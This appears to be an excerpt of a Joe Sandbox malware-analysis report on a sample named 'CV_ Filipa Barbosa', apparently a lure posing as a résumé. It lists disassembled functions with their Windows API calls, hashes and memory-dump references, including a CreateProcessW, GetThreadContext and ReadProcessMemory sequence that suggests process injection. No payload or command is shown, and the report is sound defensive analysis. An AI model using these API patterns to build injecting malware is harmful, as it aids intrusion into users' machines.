                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                                  • String ID:
                                                                  • API String ID: 1378193009-0
                                                                  • Opcode ID: e7f058c3a41c06524c35c8bced52693360025b443767ab5b2cfaf14c1b5b8e53
                                                                  • Instruction ID: 908d066b6e710c64359abeefcca79bdd8c30da37201a7daa23aae09a8a4c3de7
                                                                  • Opcode Fuzzy Hash: e7f058c3a41c06524c35c8bced52693360025b443767ab5b2cfaf14c1b5b8e53
                                                                  • Instruction Fuzzy Hash: E521DA70504794AFEB329B288855BEBBBFCDB05708F1404DEE69F57182C7746A84CB51
                                                                  Function 00B240E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B93725
                                                                  • GetOpenFileNameW.COMDLG32 ref: 00B9376F
                                                                    • Part of subcall function 00B2660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B253B1,?,?,00B261FF,?,00000000,00000001,00000000), ref: 00B2662F
                                                                    • Part of subcall function 00B240A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00B240C6
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Name$Path$FileFullLongOpen_memset
                                                                  • String ID: X
                                                                  • API String ID: 3777226403-3081909835
                                                                  • Opcode ID: 842f2c324789d99a84873b37c0ffaeb067f46aeedb0195abfe2052f18e1e5a16
                                                                  • Instruction ID: bfcbc2894c4b821041519fb895e3199cd21df3382c199c2040a027c99517a90c
                                                                  • Opcode Fuzzy Hash: 842f2c324789d99a84873b37c0ffaeb067f46aeedb0195abfe2052f18e1e5a16
                                                                  • Instruction Fuzzy Hash: 8B21BB71A101989FCF01DFD4D845BDEBBF99F49704F0040AAE509B7241DFB45A898F65
                                                                  Function 00B6C71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetTempPathW.KERNEL32(00000104,?), ref: 00B6C72F
                                                                  • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00B6C746
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Temp$FileNamePath
                                                                  • String ID: aut
                                                                  • API String ID: 3285503233-3010740371
                                                                  • Opcode ID: 8d971ee374adf0e05ff860cb460fac31b1b67261e784f33e19a88a8ae84aeb09
                                                                  • Instruction ID: 793e992d5b0906c2727290c1750a2ccc0556b444c3bb246cdf0823d9c27c3891
                                                                  • Opcode Fuzzy Hash: 8d971ee374adf0e05ff860cb460fac31b1b67261e784f33e19a88a8ae84aeb09
                                                                  • Instruction Fuzzy Hash: 3DD05E7550030EABDB10AB90DC0EFCAB7AC9700704F0001A17652A60B2DAB4E699CB55
                                                                  Function 00B7F8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: c3ffc468a47a1a560a675ac8dd3cce148bae4e02d4fdcebc5b721ca3aaaf2b62
                                                                  • Instruction ID: ec05ebccbe72e3039dc46f97784a2a63a0693ec5d8406dd7e2086cec98d509af
                                                                  • Opcode Fuzzy Hash: c3ffc468a47a1a560a675ac8dd3cce148bae4e02d4fdcebc5b721ca3aaaf2b62
                                                                  • Instruction Fuzzy Hash: C8F15A716083019FC710DF28C485B6AB7E5FF88314F1489ADF9A99B392D770E945CB86
                                                                  Function 00B24FFC Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B25022
                                                                  • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B250CB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: IconNotifyShell__memset
                                                                  • String ID:
                                                                  • API String ID: 928536360-0
                                                                  • Opcode ID: 5cd0f425446a8f29e4f73dfeb8e27d86c29dc914ca6f8418d6c7309ee7137e8c
                                                                  • Instruction ID: e66e42a9a02a37eacf62a3de269ccfbbf3047ba6b12c62469ab7e813530e7b00
                                                                  • Opcode Fuzzy Hash: 5cd0f425446a8f29e4f73dfeb8e27d86c29dc914ca6f8418d6c7309ee7137e8c
                                                                  • Instruction Fuzzy Hash: 8531AEB0604711CFC730DF28E88169BBBE4FF48304F10096EE69E87251EB71A944CB92
                                                                  Function 00B4395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __FF_MSGBANNER.LIBCMT ref: 00B43973
                                                                    • Part of subcall function 00B481C2: __NMSG_WRITE.LIBCMT ref: 00B481E9
                                                                    • Part of subcall function 00B481C2: __NMSG_WRITE.LIBCMT ref: 00B481F3
                                                                  • __NMSG_WRITE.LIBCMT ref: 00B4397A
                                                                    • Part of subcall function 00B4821F: GetModuleFileNameW.KERNEL32(00000000,00BE0312,00000104,00000000,00000001,00000000), ref: 00B482B1
                                                                    • Part of subcall function 00B4821F: ___crtMessageBoxW.LIBCMT ref: 00B4835F
                                                                    • Part of subcall function 00B41145: ___crtCorExitProcess.LIBCMT ref: 00B4114B
                                                                    • Part of subcall function 00B41145: ExitProcess.KERNEL32 ref: 00B41154
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  • RtlAllocateHeap.NTDLL(01250000,00000000,00000001,00000001,00000000,?,?,00B3F507,?,0000000E), ref: 00B4399F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                                  • String ID:
                                                                  • API String ID: 1372826849-0
                                                                  • Opcode ID: d04971d71f5a48d8cdd512475394ed6dfb53377e490989dab79607880f831c12
                                                                  • Instruction ID: 0f07622e7d5fd2e95bcf5609bd2fdb09e43901c1e6ed7de73a4af6292f115067
                                                                  • Opcode Fuzzy Hash: d04971d71f5a48d8cdd512475394ed6dfb53377e490989dab79607880f831c12
                                                                  • Instruction Fuzzy Hash: 7501B9353852519AE6213B79DC92A2E33D8DF81B60F2900A5F5069B2C2DFF49F40A660
                                                                  Function 00B6C6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00B6C385,?,?,?,?,?,00000004), ref: 00B6C6F2
                                                                  • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00B6C385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00B6C708
                                                                  • CloseHandle.KERNEL32(00000000,?,00B6C385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00B6C70F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: File$CloseCreateHandleTime
                                                                  • String ID:
                                                                  • API String ID: 3397143404-0
                                                                  • Opcode ID: 0cffe251cf5c85241af3e5ca87bccf6dcdd548d39ddbb0ab60ce15ef3f86ec15
                                                                  • Instruction ID: da54ec3ca44ea661a1b974ed907277531ba649513ece5f41ef8365a69c50e2b9
                                                                  • Opcode Fuzzy Hash: 0cffe251cf5c85241af3e5ca87bccf6dcdd548d39ddbb0ab60ce15ef3f86ec15
                                                                  • Instruction Fuzzy Hash: F3E08632240214B7DB211F54AC0AFDA7F58EB06760F104110FB557A4E09BB129118798
                                                                  Function 00B6BB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _free.LIBCMT ref: 00B6BB72
                                                                    • Part of subcall function 00B41C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00B47A85), ref: 00B41CB1
                                                                    • Part of subcall function 00B41C9D: GetLastError.KERNEL32(00000000,?,00B47A85), ref: 00B41CC3
                                                                  • _free.LIBCMT ref: 00B6BB83
                                                                  • _free.LIBCMT ref: 00B6BB95
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                  • String ID:
                                                                  • API String ID: 776569668-0
                                                                  • Opcode ID: 8d6c99314b0704041c66cbc9d98ad607d1a0ae96d99a55b8255782f8bd4ba31d
                                                                  • Instruction ID: 6b524e537f3e318786bd3b7982cfd697c9b7197211f7ae9b28701b70b54a35fe
                                                                  • Opcode Fuzzy Hash: 8d6c99314b0704041c66cbc9d98ad607d1a0ae96d99a55b8255782f8bd4ba31d
                                                                  • Instruction Fuzzy Hash: 15E012A1A5174146DA24697D6E84EB313ECCF043517180C9DB559EB147CF28E9C095A4
                                                                  Function 00B22322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B222A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00B224F1), ref: 00B22303
                                                                  • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00B225A1
                                                                  • CoInitialize.OLE32(00000000), ref: 00B22618
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B9503A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Handle$CloseInitializeMessageRegisterWindow
                                                                  • String ID:
                                                                  • API String ID: 3815369404-0
                                                                  • Opcode ID: 8ef5f1437ccbc3f6dd811d5909bd498970d98c7a2d6c69dca6f3f09848c2ea8b
                                                                  • Instruction ID: e1beceb7e3adc37c471d6012d7d62b44d1c66f88d3a24a4bd3d53a5b11f275c2
                                                                  • Opcode Fuzzy Hash: 8ef5f1437ccbc3f6dd811d5909bd498970d98c7a2d6c69dca6f3f09848c2ea8b
                                                                  • Instruction Fuzzy Hash: A8718DB59012C59AC704EF5EADD0459BBE4BBA83447B04AAED209DF7B1DF344844CF19
                                                                  Function 00B80828 Relevance: 3.2, APIs: 2, Instructions: 232COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _strcat.LIBCMT ref: 00B808FD
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • _wcscpy.LIBCMT ref: 00B8098C
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __itow__swprintf_strcat_wcscpy
                                                                  • String ID:
                                                                  • API String ID: 1012013722-0
                                                                  • Opcode ID: 536e29d67c54a4d4faccc13b7dfdc43a901ac9764dcab71296c4db9674342167
                                                                  • Instruction ID: 112e1151a53321a130d91b260a6caab1e59fbb34fe54a36a46b5b654a564b4ed
                                                                  • Opcode Fuzzy Hash: 536e29d67c54a4d4faccc13b7dfdc43a901ac9764dcab71296c4db9674342167
                                                                  • Instruction Fuzzy Hash: C1915834A10615DFCB58EF28C4919A9B7E5FF59350B5180AAE81ACF3A2DB30ED45CF80
                                                                  Function 00B23A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • IsThemeActive.UXTHEME ref: 00B23A73
                                                                    • Part of subcall function 00B41405: __lock.LIBCMT ref: 00B4140B
                                                                    • Part of subcall function 00B23ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00B23AF3
                                                                    • Part of subcall function 00B23ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00B23B08
                                                                    • Part of subcall function 00B23D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00B23AA3,?), ref: 00B23D45
                                                                    • Part of subcall function 00B23D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00B23AA3,?), ref: 00B23D57
                                                                    • Part of subcall function 00B23D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00BE1148,00BE1130,?,?,?,?,00B23AA3,?), ref: 00B23DC8
                                                                    • Part of subcall function 00B23D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00B23AA3,?), ref: 00B23E48
                                                                  • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00B23AB3
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
                                                                  • String ID:
                                                                  • API String ID: 924797094-0
                                                                  • Opcode ID: 3f5a8cb323ec35125dcdc1b7b05db472b773121709c785e1c4b72002e390966a
                                                                  • Instruction ID: 2c1efb3995ae944a40758d2959190b50eb6799cc324d5830f2a230069023b7b4
                                                                  • Opcode Fuzzy Hash: 3f5a8cb323ec35125dcdc1b7b05db472b773121709c785e1c4b72002e390966a
                                                                  • Instruction Fuzzy Hash: 3D1190719043819BC700EF29E88590EBBE9EB95750F10895EF4859B2A2DF709684CB92
                                                                  Function 00B4E9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ___lock_fhandle.LIBCMT ref: 00B4EA29
                                                                  • __close_nolock.LIBCMT ref: 00B4EA42
                                                                    • Part of subcall function 00B47BDA: __getptd_noexit.LIBCMT ref: 00B47BDA
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __getptd_noexit$___lock_fhandle__close_nolock
                                                                  • String ID:
                                                                  • API String ID: 1046115767-0
                                                                  • Opcode ID: 8f728b949daf13b606e11f0f56306a56b4e220da863aa4eeff834354800ee7d2
                                                                  • Instruction ID: 8f5e56bd20873662d6129c94f7f09d9471fb8552f10c4ed937638c9bbc4935c3
                                                                  • Opcode Fuzzy Hash: 8f728b949daf13b606e11f0f56306a56b4e220da863aa4eeff834354800ee7d2
                                                                  • Instruction Fuzzy Hash: F7115E728456509AD711BFA898827587BE1BF82331F2647C0E4705F1E3DBB4CF40E6A1
                                                                  Function 00B3F4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B4395C: __FF_MSGBANNER.LIBCMT ref: 00B43973
                                                                    • Part of subcall function 00B4395C: __NMSG_WRITE.LIBCMT ref: 00B4397A
                                                                    • Part of subcall function 00B4395C: RtlAllocateHeap.NTDLL(01250000,00000000,00000001,00000001,00000000,?,?,00B3F507,?,0000000E), ref: 00B4399F
                                                                  • std::exception::exception.LIBCMT ref: 00B3F51E
                                                                  • __CxxThrowException@8.LIBCMT ref: 00B3F533
                                                                    • Part of subcall function 00B46805: RaiseException.KERNEL32(?,?,0000000E,00BD6A30,?,?,?,00B3F538,0000000E,00BD6A30,?,00000001), ref: 00B46856
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                                  • String ID:
                                                                  • API String ID: 3902256705-0
                                                                  • Opcode ID: 1f67019143de1285d859e427e2d88e5994a7d99bd9089696dc580d792940f2be
                                                                  • Instruction ID: ce11585c92ce961da2f36fb37cd252c07a8282477d26eed8cf9515fcb748b6d7
                                                                  • Opcode Fuzzy Hash: 1f67019143de1285d859e427e2d88e5994a7d99bd9089696dc580d792940f2be
                                                                  • Instruction Fuzzy Hash: 15F0683290421F67D704BF98DC019EE77EC9F02354F7045E6FA0AD2591DBB0DB4096A5
                                                                  Function 00B435E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  • __lock_file.LIBCMT ref: 00B43629
                                                                    • Part of subcall function 00B44E1C: __lock.LIBCMT ref: 00B44E3F
                                                                  • __fclose_nolock.LIBCMT ref: 00B43634
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                                  • String ID:
                                                                  • API String ID: 2800547568-0
                                                                  • Opcode ID: 3e552085935be21dd590e34f900dd26d86d85ca3bf6273dea087408f6341f5cd
                                                                  • Instruction ID: 93f514b50fd130b4bb6a17938ce6fbc55fd115b1005bbf97f52eec73c09c5866
                                                                  • Opcode Fuzzy Hash: 3e552085935be21dd590e34f900dd26d86d85ca3bf6273dea087408f6341f5cd
                                                                  • Instruction Fuzzy Hash: 50F0BB31845605AADB117F75884277E77E09F41B30F2A81C9E455AB2D1CB7C8B01BF56
                                                                  Function 014DD1AD Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateProcessW.KERNELBASE(?,00000000), ref: 014DD96B
                                                                  • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 014DDA01
                                                                  • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 014DDA23
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1383175350.00000000014DB000.00000040.00000020.00020000.00000000.sdmp, Offset: 014DB000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14db000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                  • String ID:
                                                                  • API String ID: 2438371351-0
                                                                  • Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                                                  • Instruction ID: 42e0f159d5da7e2d177c09e53ab4af0fbb08c949d30f53f9efbc700b2965d3c7
                                                                  • Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                                                  • Instruction Fuzzy Hash: 3112CF24E18658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A5E77A4F85CF5A
                                                                  Function 00B42957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON
